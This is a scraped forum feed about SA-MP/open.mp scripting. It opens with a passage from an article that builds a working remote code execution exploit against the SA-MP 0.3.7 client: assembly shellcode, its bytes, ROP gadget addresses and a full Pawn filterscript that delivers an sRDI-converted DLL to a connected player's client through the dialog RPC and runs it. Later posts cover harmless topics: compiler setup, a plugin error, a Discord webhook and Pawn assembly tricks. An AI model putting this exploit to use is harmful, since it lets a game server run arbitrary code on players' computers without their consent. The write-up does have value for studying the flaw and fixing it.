Now we have to do something more serious. For example, download and run .exe or load .dll. Let's consider the option with dll. Traditionally, here we are faced with a number of problems that we have to solve. So, the WinAPI LoadLibrary function does not allow loading directly from memory, it can only load from a file. You can create a file from shellcode, place the content there, and then load it. But antiviruses and other protection systems may not like this behavior, and in general it will work unreliably and unstable, so let's put this option aside. There are ways to load a dll from memory, but it is very complex, the implementation of these methods also will not fit into the ~200 bytes available to us. You can compile the dll so that it does not use imports and places its code at a fixed address, and then take this code and place it in accessible memory areas of the game itself at the same addresses. This option has the right to exist and even works, but it is extremely inconvenient and limiting. Fortunately, other developers have also encountered this problem, and therefore there is already a ready-made solution called sRDI. Within this article, I will not go into details and principles of operation of this solution, I will only briefly say the important information necessary for us. This tool modifies the dll so that it loads itself, and it is enough to transfer execution to its first byte.
This means that now we are faced with a very specific task: transfer the dll itself, allocate memory for it without write and execute protection, copy it there, call it. The main question here is how exactly to transfer kilobytes or even megabytes of potential dll from the server to the client. Yes, everything is as simple as possible, you can simply write it to the end of the RPC ShowDialog bitstream! Because compressed text is written at the end, it is necessary to byte-align the pointer to the write. Now the task has become even more specific and clear: in our shellcode we need to allocate memory, copy data from the bitstream there, and call. It would also be nice for our shellcode to determine what size our dll is and allocate the appropriate amount of memory. Well, let's get started.
First we need to get to the bitstream. Remember, in the stack pivoting gadget we got to the pointer to the caption via ebp? This caption was in the RPC ShowDialog handler stackframe. The bitstream object is located there. Let's see:

Yes, it is located right before of this caption!

Code:
mov eax, [ebp+0x3c]

sub eax, 0x118

Next, from the BitStream structure, we need the fields numberOfBitsUsed, readOffset and a pointer to the data named data. They located at the very beginning, at offsets +0x0, +0x8 and +0xC, respectively. We will convert readOffset and numberOfBitsUsed from bits to bytes and subtract the first from the second, thereby get the number of unread bytes. Because we write our dll to the end of the bitstream, and SA-MP reads only the structure for the dialog, then the number of unread bytes will be the size that we need to allocate for copying.
You can see how the conversion from bits to bytes is performed in the RakNet sources:

Code:
#define BITS_TO_BYTES(x) (((x)+7)>>3)

We will do the same. Let's place the values numberOfBitsUsed, readOffset and data in the registers ecx, edx, esi, respectively, convert from bits to bytes, then subtract edx from ecx to get the size of the dll, and add edx to esi to get a pointer to the beginning of our dll, not the beginning of all data. Thus, part of our shellcode with bitstream will look like:

Code:
;# get bitstream

mov eax, [ebp+0x3c] ;# caption

sub eax, 0x118      ;# bitstream

mov ecx, [eax]      ;# numberOfBitsUsed

mov edx, [eax+0x8]  ;# readOffset

mov esi, [eax+0xC]  ;# data ptr

add ecx, 7          ;# numberOfBitsUsed bits to bytes

shr ecx, 3

add edx, 7          ;# readOffset bits to bytes

shr edx, 3

sub ecx, edx        ;# numberOfBitsUsed - readOffset = dll size

add esi, edx        ;# data ptr        + readOffset = dll ptr

Now we need to allocate memory. This is done using the WinAPI VirtualAlloc function, its address is in the game import table at 0x8581A4:

Code:
LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)

According to the function documentation, we need to call this function with flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE. In dwSize we need to pass the size of the allocated memory area, in lpAddress we need to pass 0. After execution, the address of the allocated area will be placed in the eax register. It is also important to remember that when calling such functions, the values in the ebx, ecx, edx registers may be overwritten, so before the call, their values must be saved on the stack, and after the call, restored. In our case, we no longer need the eax (pointer to the bitstream) and edx (readOffset) registers, we don't use ebx, but we still need ecx, so we need to save it before calling VirtualAlloc. We will also put the value returned in eax into edi for later copying. Thus, our memory allocation part will look like:

Code:
;# call VirtualAlloc

push ecx                        ;# save ecx

push 0x40                      ;# flProtect = PAGE_EXECUTE_READWRITE

push 0x3000                    ;# flAllocationType = MEM_COMMIT | MEM_RESERVE

push ecx                        ;# dwSize = dll size

push 0                          ;# lpAddress = 0

mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc

call eax                        ;# call VirtualAlloc

mov edi, eax

pop ecx                        ;# restore ecx

After that, we have in edi the address of the allocated memory where we need to copy, in esi - where to copy from, ecx - how much to copy. So we can run the copy loop:

Code:
rep movsb

And then transfer execution to the dll:

Code:
call eax

Our complete shellcode will look like this:

Code:
;# repair stack

lea esp, [ebp-0x128]

;# get bitstream

mov eax, [ebp+0x3c]            ;# caption

sub eax, 0x118                  ;# bitstream

mov ecx, [eax]                  ;# numberOfBitsUsed

mov edx, [eax+0x8]              ;# readOffset

mov esi, [eax+0xC]              ;# data ptr

add ecx, 7                      ;# numberOfBitsUsed bits to bytes

shr ecx, 3          

add edx, 7                      ;# readOffset bits to bytes

shr edx, 3          

sub ecx, edx                    ;# numberOfBitsUsed - readOffset = dll size

add esi, edx                    ;# data ptr        + readOffset = dll ptr

;# call VirtualAlloc

push ecx                        ;# save ecx

push 0x40                      ;# flProtect = PAGE_EXECUTE_READWRITE

push 0x3000                    ;# flAllocationType = MEM_COMMIT | MEM_RESERVE

push ecx                        ;# dwSize = dll size

push 0                          ;# lpAddress = 0

mov eax, dword ptr [0x008581A4] ;# get VirtualAlloc

call eax                        ;# call VirtualAlloc

mov edi, eax

pop ecx                        ;# restore ecx

;# copy dll

rep movsb

;# execute dll

call eax

;# epilogue

pop edi

pop esi

mov eax, 1

pop ebx

mov esp, ebp

pop ebp

ret 8

We fit into 77 bytes, excellent.
To test the functionality, I suggest writing a simple asi mod, modifying it using sRDI, reading it from pawn and writing it to the bitstream. Let this be the same change in money, but from asi:

Code:
#include 

VOID CALLBACK MainTimer(HWND hwnd, UINT message, UINT idTimer, DWORD dwTime)

{

    *(DWORD*)0x00B7CE50 = 1137;

    KillTimer(NULL, 0);

}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)

{

    switch (dwReasonForCall)

    {

    case DLL_PROCESS_ATTACH:

        SetTimer(NULL, 0, 1000, (TIMERPROC)MainTimer);

        break;

    case DLL_THREAD_ATTACH:

    case DLL_THREAD_DETACH:

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}

Let's compile it and run it through sRDI:

Let's update our filterscript by inserting a new shellcode and adding reading dll from a file and writing to the bitstream, not forgetting to do the alignment:

Code:
#define FILTERSCRIPT

#include 

#include 

new const RPC_ShowDialog = 61;

new const RPC_ScrSetGravity = 146;

new payload1[] =

{

//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15

/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00

};

new payload2[] =

{

0x15, 0x27, 0x40, 0x00, // pop ecx gadget

0x37, 0x00, 0x00, 0x00, // ecx value

0x8D, 0x2E, 0x40, 0x00, // pop edi gadget

0x00, 0x60, 0x86, 0x00, // edi value

0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget

0x00, 0x00, 0x00, 0x00, // edi value

0x00, 0x00, 0x00, 0x00, // esi value

0x00, 0x60, 0x86, 0x00, // ret to dst

0x00, 0x00, 0x00, 0x00, // pad

0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0x8B, 0x45, 0x3C, 0x2D, 0x18, 0x01, 0x00, 0x00, 0x8B, 0x08, 0x8B,

0x50, 0x08, 0x8B, 0x70, 0x0C, 0x83, 0xC1, 0x07, 0xC1, 0xE9, 0x03, 0x83, 0xC2, 0x07, 0xC1, 0xEA, 0x03,

0x29, 0xD1, 0x01, 0xD6, 0x51, 0x6A, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x51, 0x6A, 0x00, 0xA1, 0xA4,

0x81, 0x85, 0x00, 0xFF, 0xD0, 0x89, 0xC7, 0x59, 0xF3, 0xA4, 0xFF, 0xD0, 0x5F, 0x5E, 0xB8, 0x01, 0x00,

0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00

};

new BitStream:payload_bs;

new payload_array[21111];

public OnFilterScriptInit()

{

payload_bs = BS_New();

    BS_WriteUint16(payload_bs, 1); // dialog id

BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style

BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length

for(new i = 0; i < sizeof(payload2); i++) // caption

{

BS_WriteUint8(payload_bs, payload2[i]);

}

BS_WriteString8(payload_bs, ""); // left button

BS_WriteString8(payload_bs, ""); // right button

BS_WriteCompressedString(payload_bs, payload1); // text

// align

new offset;

BS_GetWriteOffset(payload_bs, offset);

BS_SetWriteOffset(payload_bs, PR_BYTES_TO_BITS(PR_BITS_TO_BYTES(offset)));

// dll

new File:fi = fopen("test.asi");

new payload_len = flength(fi);

if(payload_len > sizeof(payload_array) * 4)

{

    printf("ERROR! Not enough space to read! %d needed", payload_len / 4);

}

else

{

fblockread(fi, payload_array);

    printf("SUCC READ PAYLOAD of %d bytes", payload_len);

for(new i = 0; i < payload_len / 4; i++)

{

    BS_WriteUint32(payload_bs, payload_array[i]);

}

}

fclose(fi);

}

public OnFilterScriptExit()

{

BS_Delete(payload_bs);

}

public OnPlayerCommandText(playerid, cmdtext[])

{

if(!strcmp("/aasd1", cmdtext, true))

{

PerformRCE(playerid);

return 1;

}

return 0;

}

PerformRCE(playerid)

{

    SetPlayerGravity(playerid, Float:0x3C658B90);

    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);

    HidePlayerDialog(playerid);

    SetPlayerGravity(playerid, 0.008);

}

SetPlayerGravity(playerid, Float:gravity)

{

new BitStream:bs = BS_New();

BS_WriteFloat(bs, gravity);

PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);

BS_Delete(bs);

}

HidePlayerDialog(playerid)

{

new BitStream:bs = BS_New();

    BS_WriteUint16(bs, -1); // id

BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style

BS_WriteString8(bs, " "); // caption

BS_WriteString8(bs, ""); // left button

BS_WriteString8(bs, ""); // right button

BS_WriteCompressedString(bs, " "); // text

PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);

BS_Delete(bs);

}

(pastebin link)
Join into the game, enter the command, wait some time until the RPC is transferred to the client, because it is now quite large, and... everything works! Congratulations, we have just created a sasi loader, that is, Server ASI Loader. Now you can load any dll you want from the server to the client. But remember that downloading malware is punishable by law.

Conclusion

Well, thank you for reading this article. I will be glad to see your comments, remarks and questions. In conclusion, I note that the written shellcode will work on all revisions 0.3.7, because there are no differences in the functions we worked with. Apparently, this vulnerability appeared since the introduction of the dialog system, that is, since version 0.3a (2009), and has now been fixed in the latest version of the R5 client (2022). Of course, the fix can be implemented for other versions using the asi or even lua mods. It is strictly recommended to use the latest version of SA-MP with all fixes, and also not to join the servers that cause you suspicion and that you do not trust.
P.S. did you like the article? stay in touch, I have something else interesting for you ;)

fatal error 100: cannot read from file [FIX]

Fri, 23 Feb 2024 09:26:46 +0000

Hello OpenMP And Samp Players...
So I have begun learning Pawno for SAMP...

The other day I was working on my server and everything worked fine.
I installed Pawno with Samp Server R2 amd configured the Pawno Compiler with VSCode...

I renamed the folder I was working on and moved it to desktop.
Today I logged on and I attempted to Save/Compile Script and got the error:

\gamemodes\LCRPM2.pwn(7) : fatal error 100: cannot read from file: "zcmd"

Compilation aborted.Pawn compiler 3.2.3664 Copyright © 1997-2006, ITB CompuPhase

So I decided to look online and I found a lot of people with the same problem but no easy answer... I tried deleting zcmd and readding it... Etc...
Nothing worked...

I turns out my problem was in the VS Code Extension.

When you use VS Code you need to download the Extension: PAWN Language for Visual Studio Code made by Qoo.
When I moved the Folder and Renamed it, everything was still in the same place but the Pawno Compiler was not connected to VS Code anymore.

In order to Fix this:

--Open VS Code
--Click on the Gear on the bottom left hand side of VS Code
--Click on Settings
--Click on Extensions
--It'll now show programming languages and extensions
--Click on Pawn
--On the right it'll have the Compiler Path (Picture shown below)
--Update the Compiler Path with the Correct Pawno Folder in your PC.
--Done, you can now compile with no errors.

Pawno ayuda para un Gamemode Team Deathmatch

Sat, 10 Feb 2024 01:27:28 +0000

Yo estoy creando un projecto para un servidor samp
LataMP Latam Multiplayer Project pero como no se casi nada de pawno pido ayuda para crear un sistema de equipos sistema de casas clanes ect para mi server samp quien me ayuda con cualquier cosa porfavor

Error cant running plugin FileFunctions Plugin v0.1b (by RyDeR`) Run time error 19:

Wed, 21 Jun 2023 02:18:16 +0000

Plugin error FileFunctions, i was install every c++ version but keep [debug] Run time error 19: "File or function is not found"

Code:
[19:10:01]  Loading plugin: FileFunctions

[19:10:01]  Failed.

Code:
[19:10:03] AMX (47115688) loaded

[19:10:03]  Loading filterscript 'antiddos.amx'...

[19:10:03] AMX (47115800) loaded

[19:10:03]    Error: Function not registered: 'fileOpen'

[19:10:03]    Error: Function not registered: 'fileSeek'

[19:10:03]    Error: Function not registered: 'fileRead'

[19:10:03] [debug] Run time error 19: "File or function is not found"

[19:10:03] [debug]  fileOpen

[19:10:03] [debug]  fileSeek

[19:10:03] [debug]  fileRead

Code:
/*

FileFunctions Plugin v0.1b (by RyDeR`)

*/

#if defined _INC_FileFunctions

#endinput

#else

#define _INC_FileFunctions

#endif

enum io_FileMode

{

io_Read,

io_Write,

io_Append,

io_ReadWrite,

io_EmptyReadWrite,

io_ReadAppend

};

enum seek_Origin

{

seek_Start,

seek_Current,

seek_End

};

native File: fileOpen(const fileName[], io_FileMode: fileMode);

native File: fileReOpen(File: handle, const fileName[], io_FileMode: fileMode);

native fileClose(File: handle);

native fileRemove(const fileName[]);

native fileExists(const fileName[]);

native fileMove(const currentFilePath[], const newFilePath[]);

native fileRewind(File: handle);

native fileWrite(File: handle, const string[]);

native fileRead(File: handle, buffer[], const size = sizeof(buffer));

native filePutChar(File: handle, value);

native fileGetChar(File: handle);

native fileSeek(File: handle, position, seek_Origin: origin);

native fileLength(File: handle);

i was asking to AI but not fix respond it better :

The error message suggests that the functions from the FileFunctions plugin are not registered or not available. Here are a few steps you can try to resolve the issue:

Make sure you have the FileFunctions plugin installed correctly. Double-check that the plugin file (e.g., "filefunctions.so" or "filefunctions.dll") is placed in the correct directory of your SA-MP server.
Confirm that you have the latest version of the FileFunctions plugin. Check the SA-MP forums or the official website of the plugin to ensure you have the most up-to-date version that is compatible with your SA-MP server version.
Verify that you have the correct include file for the FileFunctions plugin. The include file should have the same name as the plugin file (e.g., "filefunctions.inc") and should be placed in the "pawno/includes" directory of your PAWN compiler.
Ensure that the plugin is being loaded properly in your server.cfg file. Check that you have the correct plugin name and file extension specified, such as plugins FileFunctions.dll.
If you've followed these steps and the issue persists, it's possible that the FileFunctions plugin is not compatible with your SA-MP server version or there may be a problem with the plugin itself. In that case, you may need to consider using an alternative file manipulation plugin or consult the SA-MP community for further assistance.

Please help. thanks.

Sending message to Discord

Sun, 19 Feb 2023 12:35:48 +0000

Hi,

This tutorial aims to give you a basic example about how to use a webhook to send message from your OpenMP/SA-MP server into a discord channel.

Requirements :

Pawn-requests package
Discord server

1) Install pawn-requests package on your server

Install the package with sampctl or manually

2) Creating a Discord webhook

Create text channel
Click "Edit Channel" => Integrations => Create Webhook
Click on the Webhook => Copy Webhook url (save it for later)

3) Send message from server

Add requests include and create a RequestsClient with your webhook url

PHP Code:
#include new RequestsClient:client; main() { client = RequestsClient("replace with your webhookurl"); }
Send message to discrod

PHP Code:
public OnPlayerConnect(playerid) { new name[MAX_PLAYER_NAME + 1]; GetPlayerName(playerid, name, sizeof(name)); new string[MAX_PLAYER_NAME + 23 + 1]; format(string, sizeof(string), "%s has joined the server.", name); RequestJSON( client, "", HTTP_METHOD_POST, "OnPostJson", JsonObject( "content", JsonString(string) ) ); return 1; } forward OnPostJson(Request:id, E_HTTP_STATUS:status, Node:node); public OnPostJson(Request:id, E_HTTP_STATUS:status, Node:node) { if(status == HTTP_STATUS_NO_CONTENT) { printf("successfully posted message"); } else { printf("failed to post message"); } }

Now when a player connect to the server, a message will be sent on the discord channel.

Credits
Southclaws for the requests package

Regards

Assembly tricks

Sun, 18 Sep 2022 23:58:53 +0000

Over the years of writing a lot of assembly in pawn I?ve developed a few tricks for things.? These are just some of them.

Calling a function by variable.

Normally to call a function you use CALL, but that only takes a constant, not a variable.? If you want to load the target address from a variable you instead need to use SCTRL to set the target.? But CALL does some other bits as well like setting the return address, which must be done manually with SCTRL using LCTRL.? LCTRL gets the current instruction pointer, but the return address should be the instruction after the SCTRL.? With this snippet it turns out that that return address is exactly nine cells later, so the code to call a function stored in a local variable called func is:

Pawn Wrote:#emit LCTRL? ? ? 6

#emit ADD.C? ? ? 36

#emit LCTRL? ? ? 8

#emit PUSH.pri

#emit LOAD.S.pri func

#emit SCTRL? ? ? 6

Control register 8

If you?re using the JIT plugin the return address needs to be modified to a new address space.? This is what LCTRL 8 does.? It takes the AMX address in pri and converts it to a JIT address.? However if you?re not using the JIT plugin there is no register eight and pri remains the same.? So always using it is perfectly safe - either the address will be correctly updated or it won?t change at all.

Named registers.

That code is already a bit unreadable.? I said the return address is nine cells later, yet 9 doesn?t appear anywhere in the code.? Also what are 6 and 8 doing?? Fortunately const values work in #emit, so we can name some of these constants and make them more readable.? The previous snippet thus becomes:

Pawn Wrote:#emit LCTRL? ? ? __cip

#emit ADD.C? ? ? __9_cells

#emit LCTRL? ? ? __jmp

#emit PUSH.pri

#emit LOAD.S.pri ptr

#emit SCTRL? ? ? __cip

[See this file]() for the full list of constant offsets defined in YSI, there are too many to list here.? But a few highlighted ones are:

__frame_offset - The offset of the previous frame?s pointer in the current frame.? Actually just 0, but still named to be clear.
__return_offset - The offset of the return address in the current frame (the value pushed in the code above).
__args_offset - The offset of the number of arguments passed to the current function (in bytes) in the current frame.
__param0_offset - The offset of the first parameter passed to the function, for example playerid in GetPlayerName(playerid, name, size);.
__minus1 - Just the number -1, since - is broken in #emit.
__cip - The control register for the current instruction pointer (cip).
__2_cells - The size in bytes of two cells.? Useful when adjusting other values to make it clear that it is just two cells generally, not an offset such as __args_offset.

So for example to load the number of parameters passed to the current function use:

Pawn Wrote:#emit LOAD.S.pri __args_offset // In bytes.

#emit SHR.C.pri 2 // In cells.

Or using another YSI define:

Pawn Wrote:#emit LOAD.S.pri __args_offset // In bytes.

#emit SHR.C.pri __COMPILER_CELL_SHIFT // In cells.

Current stack address.

This code will get the current address of the stack pointer (stk):

Pawn Wrote:#emit LCTRL __stk

But it will get the value in to the pri register while sometimes you want it in the alt register instead.? You could load it and move it:

Pawn Wrote:#emit LCTRL __stk

#emit MOVE.alt

But that takes two instructions and clobbers pri.? You could swap the registers about to preserve pri:

Pawn Wrote:#emit MOVE.alt

#emit LCTRL __stk

#emit XCHG

But that takes even more instructions.? Or you could just load the value straight in to alt:

Pawn Wrote:#emit STACK 0

This adjusts the stack size by naught cells.? It doesn?t get any bigger or smaller.? At first that seems pointless, but pawn-impl.pdf says this about STACK:

Quote:ALT = STK, STK = STK value

So the instruction first saves the current value of stk in alt, then adjusts the size.? We only want the first part so we NOP the second part by making the size adjustment naught, yet still get the register being saved.

Masking with shifts.

There is no AND.C so to do:

Pawn Wrote:a = b & 0xFFFF0000;

In assembly is:

Pawn Wrote:#emit LOAD.S.pri b

#emit CONST.alt? 0xFFFF0000

#emit AND

#emit STOR.S.pri a

That?s usually fine, but what if there is some data we want to keep in alt?? It could be saved to the stack:

Pawn Wrote:#emit LOAD.S.pri b

#emit PUSH.alt

#emit CONST.alt? 0xFFFF0000

#emit AND

#emit POP.alt

#emit STOR.S.pri a

But that takes many extra instructions.? But this code is the same as:

Pawn Wrote:a = (b >>> 16) << 16;

>>> and << lose data, and there are SHR.C and SHL.C instructions:

Pawn Wrote:#emit LOAD.S.pri b

#emit SHR.C.pri? 16

#emit SHR.L.pri? 16

#emit STOR.S.pri a

This is one cell longer than the first method, but two instructions shorter than the second and doesn?t clobber alt.? However, it doesn?t work for masks like 0x00FF0000 without yet another shift, at which point it probably isn?t worth the effort compared to AND, nor at all for any mask with naughts in like 0xF0F0F0F0:

Pawn Wrote:#emit LOAD.S.pri b

#emit SHR.L.pri? 8

#emit SHR.C.pri? 24

#emit SHR.L.pri? 16

#emit STOR.S.pri a

Escaping DAT

The data segment is called dat, and is distinct from the code segment cod.? The former is where all data is stored, including the stack and heap, the latter is where all the code is stored.? But to write self-modifying code of the sort found in @emit we must write to cod instead of dat, so how is that done?? The instruction STOR.pri writes the value of the register pri to the given variable, but the VM checks that these variables are valid, i.e. that they are in some active part of global memory the stack.? But there is an oversight in the indirection instructions - SREF.pri, LREF.S.alt, etc.? These take a variable and check that this variable is within the memory segment, then use the value in that variable as a pointer to the location to write to.? However, crucially this second access is NOT checked for validity, so we can write anywhere.? The code section comes immediately before the data section so we can write there using negative addresses.? The offset of dat is found in LCTRL 1, the offset of cod is in LCTRL 0, so the two together give the relative offset of cod from dat.? For example to read the parameter of HALT at address 0 in cod:

Pawn Wrote:new ptr;

// ptr = cod - dat 4

#emit LCTRL __dat

#emit MOVE.alt

#emit LCTRL __cod

#emit SUB

#emit ADD.C __1_cell

#emit STOR.S.pri ptr

// ptr = *ptr;

#emit LREF.S.pri ptr

#emit STOR.S.pri ptr

printf("Default HALT parameter: %d", ptr);

This trick is basically the core of amx_assembly, indirection, YSI, and more.? Without it there would be no code re-writing at all of the sort needed for advanced techniques like hook and inline.

You can invert strings.

For some reason this code compiles:

Pawn Wrote:Func(const str[])

{

}

main()

{

? ? new str[] = "Hello";

? ? Func(~str);

}

This is likely an oversight in the compiler because the inversion of a string is gibberish, the code will probably just crash.? But inverting an inversion gives the original value back so this is fine:

Pawn Wrote:Func(const str[])

{

}

main()

{

? ? new str[] = "Hello";

? ? Func(~~str);

}

It might seem pointless but in assembly you end up with:

asm Wrote:ADDR.pri str

INVERT

INVERT

PUSH.pri

Still pointless, except for the fact that it is a very interesting sequence of instructions that can be scanned for.? This INVERT/INVERT pair is the core of how y_inline actually locates inline functions and their names in memory (searching through the dat segment with LREF as detailed above).

Labels reset the stack.

Pawn Wrote:Func()

{

? ? new a = 4;

label:

? ? return a;

}

Compiles as:

asm Wrote:PROC

PUSH.C 4

LCRTL 5

ADD.C -4

SCTRL 4

LOAD.S.pri -4

STACK 4

RETN

So we push something to the stack, then reset the stack.? This is exploited in the decl keyword which declares a large variable without initialising it:

Pawn Wrote:decl a[128];

Becomes:

Pawn Wrote:goto after_a;

new a[128];

after_a:

Which compiles as:

asm Wrote:JUMP after_a

STACK -512

ZERO.pri

FILL 512

after_a:

LCTRL 5

ADD.C -512

SCTRL 5

Most importantly the FILL opcode is skipped, but because labels don?t modify scope a still exists.

There is at least one bit of assembly in YSI where the LCTRL/SCTRL pair generated by a label are important to functionality (Inline_NumArgs to cancel out a PUSH.pri elsewhere in the function), but they?re extremely rare for one reason - you can only jump backwards in assembly, future labels can?t be used.

Starting a function just to end it.

Consider the following function:

Pawn Wrote:sprintf(const fmat[], {Float, _}:...)

{

? ? static target[144];

? ? format(target, sizeof (target), fmat, ???);

? ? return target;

}

There are four main ways to implement this function and forward all the parameters - 1) a macro, 2) y_va, 3) copy all the parameters as in the very common bit of assembly everyone copies, 4) the clever way.? We already have most of the parameters for format on the stack, we just need to add two more.? To call a function the number of parameters in bytes is pushed, then the function is called with CALL, which adds the return address to the stack and jumps to the address specified.? The first thing in a function is then PROC, which saves the current frame pointer to the stack and sets up a new frame.? So at the moment that format is called in this function the stack looks like:

???
???
???
fmat
arg_count
return_address
frame_pointer

target is declared static in this example to make the stack much simpler.? So really to call format we need:

???
???
???
fmat
sizeof (target)
target
arg_count 8

Most of that data is already there if we can just modify the rest:

Pawn Wrote:// Remove the frame pointer from the stack and use it.

#emit POP.pri

#emit SCTRL 5

// Remove the return address from the stack.

#emit POP.alt

// Remove the arg count from the stack.

#emit POP.pri

// Push the two extra parameters.

const size = sizeof (target) * cellbytes;

#emit PUSH.C size

#emit PUSH.C target

// Update and push the parameter count.

#emit ADD.C __2_cells

#emit PUSH.pri

We have now modified the stack to look how we want, put the return address in alt, and set the frame pointer back to what it used to be.? So call format:

Pawn Wrote:#emit SYSREQ.C format

After format returns we need to restore the stack to how is was without clobbering alt, which still holds the return address we need, since SYSREQ.C doesn?t touch that register:

Pawn Wrote:// Remove and reset the count again.

#emit POP.pri

#emit ADD.C __m2_cells // -8

// Remove the next cell without altering any registers (tricky).

#emit SWAP.alt

#emit POP.alt

// Put the count back on the stack.

#emit SWAP.pri

// Put the return address back.

#emit PUSH.alt

Now the part this entire section has been building to - we need to get the frame pointer back out and back on to the stack.? We used SCTRL to save it (we could have saved it to a global variable, but why waste one when the control register is right there, plus a global variable might not work if the native calls a callback), so the obvious code is:

Pawn Wrote:#emit LCTRL 5

#emit PUSH.pri

#emit LCTRL 4

#emit SCTRL 5

But there?s an instruction that does all of this in one go:

Pawn Wrote:#emit PROC

So you may sometimes see PROC randomly in the middle of a function, and this is what it is doing.? In fact it isn?t unusual to see:

Pawn Wrote:#emit PROC

#emit RETN

Which is the name of the section - we call PROC just to set up the stack correctly for calling RETN.

The stack doesn?t even need restoring.

Normally after calling a native you need to remove all the parameters pushed for it, but you don?t after calling a normal function - RETN does that for you.? In the above example we needed to restore the stack to how it was before format was called, but sometimes you don?t need to because the native is the last thing done in the function.? In that case we can just exploit RETN to remove all the extra parameters we added too:

Pawn Wrote:// As before.

#emit POP.pri

#emit SCTRL 5

#emit POP.alt

#emit POP.pri

const size = sizeof (target) * cellbytes;

#emit PUSH.C size

#emit PUSH.C target

#emit ADD.C __2_cells

#emit PUSH.pri

#emit SYSREQ.C format

// Leave the two extra parameters on the stack and just pretend they were passed to us.

// Push the return address again.

#emit PUSH.alt

// Put the frame pointer back and end the function.

#emit PROC

#emit RETN

#emit, __emit, @emit

Sun, 18 Sep 2022 13:12:27 +0000

Between the latest versions of the compiler and the amx_assembly library, there are now three versions of emit - #emit, __emit, and @emit.? They all have subtly different uses and quirks, and these differences are explained here.

#emit

This is the original version, and is used to insert assembly (p-code) in to a script directly, exactly at the point it is used.? For example:

pawn Wrote:Function()

{

? ? #emit ZERO.pri

? ? #emit RETN

? ? return 1;

}

This function will be compiled with two return instructions - one from RETN and one from return, and the second one will never be hit.? The generated assembly will look something like:

asm Wrote:PROC

ZERO.pri

RETN

CONST.pri 1

RETN

This is the most inflexible version - it just puts exactly what you typed exactly where you typed it.

It is also in a very strange part of the compiler, likely because it was only originally intended for basic debugging of the pawn VM (hence why it was removed in later official releases).? It uses barely any of the standard compiler features:

pawn Wrote:#emit CONST.pri 5 // This works.

#emit CONST.pri -5 // This is a syntax error.

Thus you will often see negative numbers written in their full hex representation (for some reason hex does work despite the fact that negative numbers don?t):

pawn Wrote:#emit CONST.pri 0xFFFFFFFB // -5

Defines don?t work to abstract that, but const does:

pawn Wrote:#define MINUS_5 0xFFFFFFFB

#emit CONST.pri MINUS_5 // Undefined symbol `MINUS_5`

pawn Wrote:const MINUS_5 = -5;

#emit CONST.pri MINUS_5 // Fine.

And #if is completely ignored:

pawn Wrote:#if TEST

? ? #emit CONST.pri 5

#else

? ? #emit CONST.pri 6

#endif

Very unhelpfully generates:

asm Wrote:CONST.pri 5

CONST.pri 6

Both branches are used, so you will often see functions with assembly at the end of a file, ommitted with #endinput:

pawn Wrote:#if !TEST

? ? #endinput

#endif

Func()

{

? ? #emit CONST.pri 5

}

Or in a separate file altogether.

In short #emit is very weird, but everything else has been built from it so there?s a lot to thank it for.

__emit

This is #emit, but super-powered.? It is a full expression-level version of #emit correctly integrated in to the compiler.? That means you can use full compile-time expressions:

pawn Wrote:__emit(CONST.pri (5 * MAX_PLAYERS));

You can use it in defines:

pawn Wrote:#define GetCurrentAddress() __emit(LCTRL 6)

And you can use it in expressions:

pawn Wrote:new var = __emit(CONST.pri 6);

Where the register pri is always the result of __emit returned like a normal expression.? Compared to the old version:

pawn Wrote:new var = 0;

#emit CONST.pri 6

#emit STOR.S.pri var

It also adds .U, which tries to work out which instruction to use based on the parameter.? For example with #emit incrementing a global variable is:

pawn Wrote:#emit INC var

While incrementing a local variable is:

pawn Wrote:#emit INC.S var

With __emit these become:

pawn Wrote:__emit(INC.U var);

And the compiler works out which instruction to use based on the scope of var.

There is more that __emit can do, like including multiple instructions in one expression:

pawn Wrote:new var = __emit(LOAD.S.pri param, ADD.C 5); // new var = param 5;

